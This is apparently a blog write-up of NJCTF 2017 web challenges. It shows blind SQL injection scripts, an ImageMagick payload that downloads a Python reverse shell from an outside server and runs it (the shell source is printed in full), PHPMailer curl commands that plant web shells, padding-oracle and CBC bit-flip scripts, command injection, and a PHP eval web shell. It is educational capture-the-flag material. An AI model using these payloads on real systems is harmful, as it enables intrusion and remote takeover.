NJCTF Web题解

CTF

本文总阅读量
Posted by Xiaoxi on March 17, 2017

NJCTF Web

一共做出了7题

NJCTF

Login

注册的时候,用户名可以用空格截断注册一个admin [很多空格]12345 ,密码aasdewdwqff然后,登陆admin ,密码aasdewdwqff 就能拿到admin权限,这里是绕过varchar的限制

可以参考这篇文章:http://www.freebuf.com/articles/web/124537.html 注:必须是sql_mode为宽松模式时

Come on

这题比赛期间没做出来。

能做到的信息是 宽字节注入。

%df%27 返回Could not get data.

然后,过滤了很多很多敏感字(//、and、or、mid、substr、union、>、<、空白符、ascii),一直没找到能运行的payload进行攻击。

比赛完,问了别人,才想到其实可以使用binary类型转换,进行攻击

首先,用||替换or,再利用right left定位,空格可以用%0b 就是()

http://218.2.197.235:23733/index.php?key=-1%df%27||left((select(flag)from(flag)),1)=0x4e%23

这里,有几个注意的点:

  1. 单引号被转移,需要用16进制
  2. mysql不区分大小写,所以对于16进制,要么二重16进制,要么使用binary函数

二重16进制:

GET /index.php?key=-1%df%27||left((select(hex(flag))from(flag)),2)=0x34§34§%23=>>45

binary函数:

GET /index.php?key=-1%df%27||left((select(flag)from(flag)),1)=binary(0x§34§)%23

like函数

/index.php?key=-1%df%27||(select(binary(flag))from(flag))like(0x§4e§25)%23

选择用like 绕过。单引号被转义了用16进制绕过,但是有几个坑:mysql默认不区分大小写,在select的时候加上binary;_在like语句中需要转义。

还一种利用like的payload:

select * from foo where code like '%%fd'||1.having(select(1)from(select(flag)from(flag)where(flag)like(binary(0x4e4a4354467b354830575f4d335f53304d335f735131695f547249436b357d25)))x)#%'

写了几个payload:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

url = "http://218.2.197.235:23733/index.php?key="
payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23"
req = requests.Session()
str = string.printable
char =''
flag = ''
end =0
for i in xrange(1,81):
    for s in str:
        char = (flag+s).encode('hex')
        endurl = (url+payload).format(pos = i,c = char)
       # print endurl
        r = req.get(endurl)
        #print r.text
        if len(r.text)>1000:
            flag +=s
            print flag
            break
        if s ==str[-1]:#搜索一圈都没搜到
            print "we get all!"
            end =1
            break
    if(end):
        break

print flag.decode('hex')

#!usr/bin/env python
#-*- coding:utf-8 -*-
import requests

url = "http://218.2.197.235:23733/index.php?key="
payload = "-1%df%27||left((select(hex(flag))from(flag)),{pos})=0x{c}%23"
req = requests.session()
flag =''
for i in xrange(1,100):
    for h in xrange(0x00,0xff+1):
        endurl = (url+payload).format(pos = i,c =flag+hex(h)[2:])
        #print endurl
        r = req.get(endurl)
        if len(r.text)>1000:
            flag +=hex(h)[2:]
            print flag
            break

print flag.decode('hex').decode('hex')

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import string
url = 'http://218.2.197.235:23733/index.php?key='
payload ='%df%27||right(left((select(flag)from(flag)),{pos}),1)=binary(0x{c})%23'
req =requests.session()

def get_flag():
    flag = ""
    str = string.printable
    for i in xrange(1,50):
        for char in str:
            endurl = (url+payload).format(pos=i,c=char.encode('hex'))
            r = req.get(endurl)
            #print endurl
            if(char=='}'):
                flag+=char
                print "we get all flag!"
                print flag
                print 'test'
                exit()
            if(len(r.text)>1000):
                flag+=char
                print flag
                break
get_flag()

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import string
import requests

req = requests.session()
url = "http://218.2.197.235:23733/index.php?key="
payload = "-1%df%27||(select(binary(flag))from(flag))like(0x{}25)%23"
str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

def get_flag():
    flag=''
    for i in xrange(1,99):
        for c in str:
            char = (flag+c).encode('hex')
            endurl = (url+payload).format(char)
            #print endurl
            r = req.get(endurl)
            if(len(r.text)>1000):
                flag +=c
                print flag
                break
get_flag()

Be Logical

这道题应该是这次比赛出的最好的一题,很有意思。可惜比赛的时候,没咋做它。

主要过程就是:逻辑漏洞->ImageMagick->PHPMailer

第一步存在两个可走的点:

  1. 是后台在refund的操作中,用了intval函数,比较point与mony是否相等,来确认数据没有被篡改。但是,我们可以通过科学计数法绕过。intval(1e3)=intval(1)。这样就能购买服务了。
  2. 本题也可以获取.Sign.php.swp文件,能够发现签名算法存在缺陷,可以爆破secret_key长度并使用哈希长度扩展攻击伪造签名来进行刷钱

接下来就进入到第二步,这里有convert 图片的功能,基本可以确定其存在一个ImageMagick的漏洞

这里参考两篇博客:

http://www.s0nnet.com/archives/imagetragick

https://www.waitalone.cn/imagemagick-poc.html

写一个image.png

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://106.14.61.185/files/imageMagic.py -O /tmp/imageMagic.py && python /tmp/imageMagic.py 106.14.61.185 12315")'
pop graphic-context

然后,把脚本部署到我们的服务器上

http://106.14.61.185/files/imageMagic.py

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
    print 'python reverse connector'
    print 'usage: %s <ip_addr> <port>' % name

def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit()
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((sys.argv[1],int(sys.argv[2])))
        print 'connect ok'
    except:
        print 'connect faild'
        sys.exit()
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    os.unsetenv("HISTSIZE")
    os.unsetenv("HISTORY")
    os.unsetenv("HISTSAVE")
    os.unsetenv("HISTZONE")
    os.unsetenv("HISTLOG")
    os.unsetenv("HISTCMD")
    os.putenv("HISTFILE",'/dev/null')
    os.putenv("HISTSIZE",'0')
    os.putenv("HISTFILESIZE",'0')
    pty.spawn(shell)
    s.close()

if __name__ == '__main__':
    main()

服务器监听一下 nc -l - 12315

上传png文件,它会自动调用convert,然后就能反弹shell

shell1

翻一下,还是没有找到flag。自然接下来就应该是内网渗透了。

这里有一个小技巧,使用arp -nv可以快速探测内网(当然你也可以使用curl来获得远程的一个py扫描脚本,然后扫描)

arp -nv
arp -nv
Address                  HWtype  HWaddress           Flags Mask            Iface
172.17.42.1              ether   72:1d:76:57:41:32   C                     eth0
172.26.0.20              ether   72:1d:76:57:41:32   C                     eth0
172.17.0.1               ether   02:42:ac:11:00:01   C                     eth0
172.17.0.19              ether   02:42:ac:11:00:13   C                     eth0
Entries: 4	Skipped: 0	Found: 4

都测试一下。

可以看到在172.17.0.19存活一个Mail SYSTEM

mailsystem

搜一波,学习一下

https://blog.chaitin.cn/phpmailer-cve-2016-10033/

这里的根目录没办法写,存在uploads目录,但是uploads目录下一句话没办法执行(貌似是因为;的原因,可以传入<?php system($_GET[test]);?> 这种格式去绕过),所以可以直接用system

curl http://172.17.0.19 -d "subject=<?php system('ls ./');?>&email=aaa( -X /var/www/html/uploads/xiaoxi1.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email"
curl http://172.17.0.19/uploads/xiaoxi1.php
curl http://172.17.0.19 -d "subject=<?php system('ls ../');?>&email=aaa( -X /var/www/html/uploads/xiaoxi2.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email"
curl http://172.17.0.19/uploads/xiaoxi2.php
curl http://172.17.0.19 -d "subject=<?php system('cat ../flaaaaaaag.php');?>&email=aaa( -X /var/www/html/uploads/xiaoxi3.php )@qq.com&message=<?php echo moxiaoxi;?>&submit=Send email"
curl http://172.17.0.19/uploads/xiaoxi3.php

得到flag

belogical

Guess

这种url很容易就能想到可能是文件包含或者伪协议读取

http://218.2.197.235:23735/index.php?page=php://filter/read=convert.base64-encode/resource=upload

读源码


<?php
error_reporting(0);
function show_error_message($message)
{
    die("<div class=\"msg error\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function show_message($message)
{
    echo("<div class=\"msg success\" id=\"message\">
    <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
}

function random_str($length = "32")
{
    $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
    $str = '';

    for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
    }

    return $str;
}

session_start();



$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) {

    $seed = rand(0,999999999);
    mt_srand($seed);
    $ss = mt_rand();
    $hash = md5(session_id() . $ss);
    setcookie('SESSI0N', $hash, time() + 3600);

    if ($_FILES["file"]["error"] > 0) {
        show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
    }
    $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
            || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
            || ($_FILES["file-upload-field"]["type"] == "image/png"))
        && ($_FILES["file-upload-field"]["size"] < 204800));
    $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));


    if ($check2) show_error_message("Nope!");
    if ($check1) {
        $filename = './uP1O4Ds/' . random_str() . '_' . $_FILES['file-upload-field']['name'];
        if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
            show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
        } else show_error_message("Something wrong with the upload...");
    } else {
        show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
    }
}
?>

脸黑,比赛的时候脚本没跑完😢

这题的思路,和以前做的一个题思路很像(HCTF的兵者多诡?)。

先伪协议读源码,然后上传一个php压缩包(改名为png),再伪协议(zip或phar)读取马,得到shell。这次的主要问题在于,题目把路径加了一个前缀,需要爆破随机数种子才能利用。

爆破随机数种子(session_id为我们的 PHPSESSID,hash为SESSI0N)

记得在文件头设置一下运行时间无限ini_set(‘max_execution_time’, ‘0’);

for($i=0;$i<=999999999;$i++){
    $seed =$i;
    mt_srand($seed);
    $ss = mt_rand();
    $session_id="kfm3fk6doepaefpaa9al32h8j7";
    $hash1 = md5($session_id. $ss);
    $hash2 = "72a6022fd34bf1980ea8d20aafa3bd2a";
    if($hash1===$hash2){
        echo "we get seed:".$i;
        break;
    }
    if($i==999999999){
        echo "run down!we can't get it!";
        break;
    }
}
echo './uP1O4Ds/' . random_str() . '_';

运行结果:

getseed

http://218.2.197.235:23735//index.php?page=zip://uP1O4Ds/hz3CZpGyYKnjH51V6fVYvCmpGXrIzeWm_test.png%23test

再请求一下即可

getshell

连接一下,看一波

upload

这里有一个小技巧,可以迅速爆破mt_seed:http://www.openwall.com/php_mt_seed/

Wallet

扫一波目录,能得到一个www.zip的文件。

(弱密码永远跑不出来orz。。。后来,别人给了个弱密码njctf2017)

然后,代码有混淆,随便找个网站解开混淆

<?php
 require_once("db.php"); 
 $auth = 0; 
 if (isset($_COOKIE["auth"])) { 
 	$auth = $_COOKIE["auth"]; 
 	$hsh = $_COOKIE["hsh"]; 
 	if ($auth == $hsh) { 
 		$auth=0; 
 		}else if (sha1((string)$hsh) == md5((string)$auth)) { 
 			$auth = 1; 
 		}else{ 
 			$auth=0; 
 		} 
 	}else { 
			$auth = 0; 
			$s = $auth; 
			setcookie("auth", $s); 
			setcookie("hsh", sha1((string)$s)); 
			} 
 	if ($auth) { 
 		if (isset($_GET['query'])) { 
 			$db = new SQLite3($SQL_DATABASE, SQLITE3_OPEN_READONLY); 
 			$qstr = SQLITE3::escapeString($_GET['query']); 
 			$query = "SELECT amount FROM my_wallets WHERE id=$qstr"; -1 union select flag from flag %23
 			$result = $db->querySingle($query); 
 			if ( !$result === NULL){ 
 				echo "Error - invalid query"; 
 			} else { 
 				echo "Wallet contains: $result"; 
 			} 
 			} else { 
 				echo "<html><head><title>Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>"; 
 			} 
 	} else echo "Sorry, not authorized."; ?>

一开始就是很典型的弱类型绕过,sha1==md5

弱类型

<?php
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
var_dump(0 == 'abcdefg');
var_dump(1 == '1abcdef');
?>

md5 :240610708,QNKCDZO,aabg7XSs,aabC9RqS

Sha1:aaroZmOk ,aaK1STfY,aaO8zKZF,aa3OFF9m

后面,就是query处存在注入(这里的难点在于只能知道有flag表。。要猜id)

最后的payload

GET /admin.php?query=-11+and+1=2+union+select+id+from+flag+--+ HTTP/1.1
Host: 218.2.197.235:23723
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: piclist=a%3A6%3A%7Bi%3A0%3Bs%3A44%3A%22upload%2Ff7363981c96e54e1f2d8a66aa5cca157.jpeg%22%3Bi%3A1%3Bs%3A44%3A%22upload%2F620eb40635025e52a20ffdffa20298fc.jpeg%22%3Bi%3A2%3Bs%3A44%3A%22upload%2F77af6d66ab71143e5adf91a4dafe3719.jpeg%22%3Bi%3A3%3Bs%3A42%3A%22upload%2F2bc5ef7c4ded2aae2987bfb71a7a700f.js%22%3Bi%3A4%3Bs%3A46%3A%22upload%2F3608dcbf9c8c241b3b8e757353c34f3c.p%2500hp%22%3Bi%3A5%3Bs%3A46%3A%22upload%2Ff954062fc88b8a7524c79d95ae2a7b4c.php%2500%22%3B%7D; auth=QNKCDZO; hsh=aaroZmOk
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Be admin

存在index.php.bak

后面有时间再来复现

主要考点:源码审计 CBC比特反转 Padding-Oracle

可以算是比较综合的Web密码学题了

具体思路:

存在bak源码泄露以提供白盒,使用sqli控制查询语句的返回值,从而可以控制被传递进login函数的参数,由于php==运算符的安全问题,登陆验证函数可以被作为Oracle来使用,从而可以编写脚本,在没有密钥的情况下,通过padding oracle解出明文,再通过异或构造iv,从而在密文不变的情况下使解密后的结果变为admin,进而获取flag

index.php.bak源码泄漏,看源码知道可进行CBC的Padding Oracle和字节翻转攻击。

下面的脚本是直接贴的别人的

进行Padding Oracle攻击的脚本:

python

import requests

import base64



url = 'http://218.2.197.235:23737/index.php'

N = 16

l = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]

token = ''

out = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]



for i in range(1,17):

    for c in range(0,256):

        print c

        l[N-i] = c

        token = ''

        for m in l:

            token = token + chr(m)

        token = base64.b64encode(token)

        header = {'Cookie':"PHPSESSID=oot8oracn7o49ibrriscjikal4;ID=yudfxWJ2ptjjo8NLxaLeZQ%3D%3D;token="+token}

        res = requests.get(url, headers=header)

        data = res.content

        print data

        if 'ERROR' not in data:

            out[N-i] = c ^ i

            for y in range(i):

                l[N-y-1] = out[N-y-1] ^ (i+1)

            break

    print out

可以将defaultId的明文读取出来为OrDinaryU5eR,接下来就是进行字节翻转攻击使得解密为admin就可以拿到flag。进行字节翻转攻击的脚本:

php

<?php

    $c = base64_decode("ndncqTzQYbXSIiXc4Gc0OA==");

    $s = "OrDinaryU5eR";

    $tmp = $c;

    $tmp[0] = chr(ord($s[0]) ^ ord($tmp[0]) ^ ord('a'));

    $tmp[1] = chr(ord($s[1]) ^ ord($tmp[1]) ^ ord('d'));

    $tmp[2] = chr(ord($s[2]) ^ ord($tmp[2]) ^ ord('m'));

    $tmp[3] = chr(ord($s[3]) ^ ord($tmp[3]) ^ ord('i'));

    $tmp[4] = chr(ord($s[4]) ^ ord($tmp[4]) ^ ord('n'));

    $tmp[5] = chr(ord($s[5]) ^ ord($tmp[5]) ^ 11);

    $tmp[6] = chr(ord($s[6]) ^ ord($tmp[6]) ^ 11);

    $tmp[7] = chr(ord($s[7]) ^ ord($tmp[7]) ^ 11);

    $tmp[8] = chr(ord($s[8]) ^ ord($tmp[8]) ^ 11);

    $tmp[9] = chr(ord($s[9]) ^ ord($tmp[9]) ^ 11);

    $tmp[10] = chr(ord($s[10]) ^ ord($tmp[10]) ^ 11);

    $tmp[11] = chr(ord($s[11]) ^ ord($tmp[11]) ^ 11);

    $tmp[12] = chr(4 ^ ord($tmp[12]) ^ 11);

    $tmp[13] = chr(4 ^ ord($tmp[13]) ^ 11);

    $tmp[14] = chr(4 ^ ord($tmp[14]) ^ 11);

    $tmp[15] = chr(4 ^ ord($tmp[15]) ^ 11);

    print base64_encode($tmp);

?>

将得到的IV放到cookie中的token,访问得到flag。

Get Flag

很典型的一个命令截断(&也可以)

%0a截断 导致命令执行

flag=%0a+ls+../../&submit=

解码base64,会有一个

cat: images/: Is a directory 9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

读取一下

flag=%0a+cat+../../9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag&submit=

得到flag

pictures’ wall

很奇怪的题目- -

登录框无论输入啥都能登陆,系统提示需要管理员权限..怀疑不是用户名密码验证,尝试http头方面的绕过

脑洞一波。。host:127.0.0.1 绕过登陆,得到root权限(貌似就是实现了只能本地登陆的逻辑?但是,实现的不够好)

root有一个上传图片界面。。(fuzz一波,可以看到phtml可以上去。然后题目貌似过滤了?)

<script language="php"> @eval($_POST[xiaoxi])</script>

上传一个图片马,改后缀phtml

不过,这个题目确实非常奇怪。。

看了下源码:

<?php
        $content=file_get_contents($_FILES["pic"]["tmp_name"]);
        if($filearr === "phtml"){
            if(preg_match("/.*<\?php.*/",$content)){
                die("Something shows it is a php file!");
            }
            if (!preg_match("/.*<script language=('|\")php('|\")>.*/",$content)) {
                die("Do you  want to  upload a php file?!");
            }
        }

 

感觉确实有点奇怪

Text wall

在页面里存在.index.php.swo

显然,我们要调用__toString函数去highlight_file我们想看到的数据。

这里用到了一个小技巧,php中数组里面有一个对象,它会期望那个对象为string类型。所以,如果对象是一个序列化就会自动调用__toString

所以,我们可以这样构造

$lists = [];
Class filelist{
    function __construct($var){
        $this->source = $var;
    }
    public function __toString()
    {
        return highlight_file('hiehiehie.txt', true).highlight_file($this->source, true);
    }
}

$file = new filelist('index.php');
$lists = array($file);
#var_dump(serialize($file));
var_dump(serialize($lists));

然后,对其sha1 补充到前面,后面url编码一下,放到cookie里面

f3a6de2497f71356a3995e26a1f4f64ae48e80b1%61%3a%31%3a%7b%69%3a%30%3b%4f%3a%38%3a%22%66%69%6c%65%6c%69%73%74%22%3a%31%3a%7b%73%3a%36%3a%22%73%6f%75%72%63%65%22%3b%73%3a%39%3a%22%69%6e%64%65%78%2e%70%68%70%22%3b%7d%7d

这样就能看到index.php的源码

index

/var/www/PnK76P1IDfY5KrwsJrh1pL3c6XJ3fj7E_fl4g同样序列化读取一下就好

PS: 据说可以找到原题:https://losfuzzys.github.io/writeup/2016/10/02/tumctf-web50/

Blog

ruby的代码审计 不大会

Tips:ruby审计思路,i可以首先看route 然后找逻辑。对应着页面找到实现代码

看了下别人的WP

主要问题在于,table users在定义的时候,有一列标志其是否为admin,默认为false


  create_table "users", force: true do |t|
    t.string   "name"
    t.string   "email"
    t.datetime "created_at"
    t.datetime "updated_at"
    t.string   "password_digest"
    t.string   "remember_token"
    t.boolean  "admin",           default: false
  end

而在注册界面的注册函数中,它其实多传了一个admin的参数。只是在实际界面不存在,我们构造一个user[admin]=1即可(这个格式参照其他参数的构造方式)

  private
    def user_params
      params.require(:user).permit(:name, :email, :password, :password_confirmation, :admin)
    end

构造一个请求包

POST /users HTTP/1.1
Host: 218.2.197.235:23727
Content-Length: 301
Cache-Control: max-age=0
Origin: http://218.2.197.235:23727
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://218.2.197.235:23727/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: session=eyJhZG1pbiI6Im5vIn0=; session.sig=Uw-lgOYJjpIZLRIXs4H8tv2EK_0; PHPSESSID=kfm3fk6doepaefpaa9al32h8j7; piclist=a%3A2%3A%7Bi%3A0%3Bs%3A43%3A%22upload%2F693a17c7426e064e37c184879f4e4107.png%22%3Bi%3A1%3Bs%3A45%3A%22upload%2F773f33a925049e4906690514266b89cf.phtml%22%3B%7D; _sample_app_session=ZEFvNW5hTzI2aFVSNzNjN05Lc0JISGlFRU04aGE1M3lCL0pyM0xCUkNoWnE4S1VJMGNuUlpOMXl0OXR0aFlMUUlNbGN6ODU1NUxhN21VeU9wbHRyTFNaRHg4STRiZHR4NkRaMzEzalZGSkNKMEZOdjZPRVJ5cklGSEN3OWUxUTByVEVYdUNKQlMxcHJLNHpTZEd5NDd3bUNSSk1kbEFUc2V2aEQramZuSWQ1RUhsNHJxZTZ0bWZiUmdmWjZiSVpuLS1uTG9CM0lBVk1vdzdvM2prL21oUHRnPT0%3D--5607ac4adcab4b1014ea69518f5c5afd8aec911a
Connection: close

utf8=%E2%9C%93&authenticity_token=%2FPQd%2BsT%2B1KX0%2B2vr%2Bqd5ME5G%2B2abPv4x6I3na8FG%2Bcd6QifrU0%2FBEknXMxJIRgvfIzens6iPmAhurvD0foPq9w%3D%3D&user%5Bname%5D=moxiaoxi12345&user%5Bemail%5D=moxiaoxi%40qq11.com&user%5Bpassword%5D=moxiaoxi&user%5Bpassword_confirmation%5D=moxiaoxi&user%5Badmin%5D=1&commit=Create+my+account

CHaII

能搜到一篇非常相似的博客

http://smrrd.de/nodejs-hacking-challenge-writeup.html

这道题,有一个非常脑洞的地方,就是必须输入md5出来全是数字的md5才能触发内存泄漏。。。。

非常神奇orz 原题就没这么脑洞。。

List of few first strings that give only-digit md5 hash:

ximaz : 61529519452809720693702583126814 
aalbke : 55203129974456751211900188750366 
afnnsd : 49716523209578759475317816476053 
aooalg : 68619150135523129199070648991237 
bzbkme : 69805916917525281143075153085385 

Here’s one with only letters:

cbaabcdljdac : cadbfdfecdcdcdacdbbbfadbcccefabd

输入md5后,全为数字的数据后,会回显数据。

内存泄漏

写一个1.sh

while ((1));do
    curl http://218.2.197.235:23729/login --data '{"password":"afnnsd"}' -H "Content-Type: application/json" -i
done

可以看到很明显的内存泄漏

可以找到数据

./1.sh| hexdump -C >1.txt

NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}

然后到github上下载源码,在本地跑一下。

https://github.com/0lddriver/app

将config.js中的数据改一下

var config = {};
config.secret_password = ""
config.session_keys = ["NJCTF{P1e45e_s3arch_th1s_s0urce_cod3_0lddriver}"]
module.exports = config;

然后,修改app.js中的no为yes

app.use(function(req, res, next) {
  if(req.session.admin === undefined) {
    req.session.admin = 'yes';
  }
  next();
});

这样就能得到{“admin”:”yes”}的签名

session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo

然后去请求一下admin

GET /admin HTTP/1.1
Host: 218.2.197.235:23729
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session=eyJhZG1pbiI6InllcyJ9; session.sig=DLXp3JcD1oX3c8v4pUgOAn-pDYo
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"471-PF7BbTeX0i15/QjaTjk5Ww"

就能回显到数据

TkpDVEZ7TjBkNUpT5piv5LiW55WM5LiK5pyA5aW955qE6K+t6KiA77yM5a+55ZCX77yffQ==

解码一下就是flag(中文)

其它

额外做了一个题 也记录下

knock

查看长度,莫斯密码解密失败

然后,查看了一下长度

发现knock长度145 text118

其中,knock中_ 有27 .有118个

猜测_是分隔符

#!/usr/bin/env python
#!-*- coding:utf-8 -*-

def readfile(filename):
    with open(filename,"r") as fp:
        content=fp.read()
    return content


knock = readfile("knock.txt")
text  = readfile("text.txt")
# print len(knock),len(text)
# print knock.count('_')
# print knock.count('.')
# print knock
# print text
test = ''
indexpre=0
i=0
while(knock.find('_')!=-1):
	index = knock.find('_')
	knock = knock.replace('_','-',1)
	text =text[:index]+' '+text[index:]
	indexpre=index

print text

zjqz hexjz mo oqrs sai daiyn lebn zjo vos ltah zjer horrqxo e iron lobdo za voou zjo vos qfqs ltah mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx

然后,词频分析一下

that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg

提示是栅栏密码

ineeal
cstrla
aehefg

6位栅栏

icanseetheflag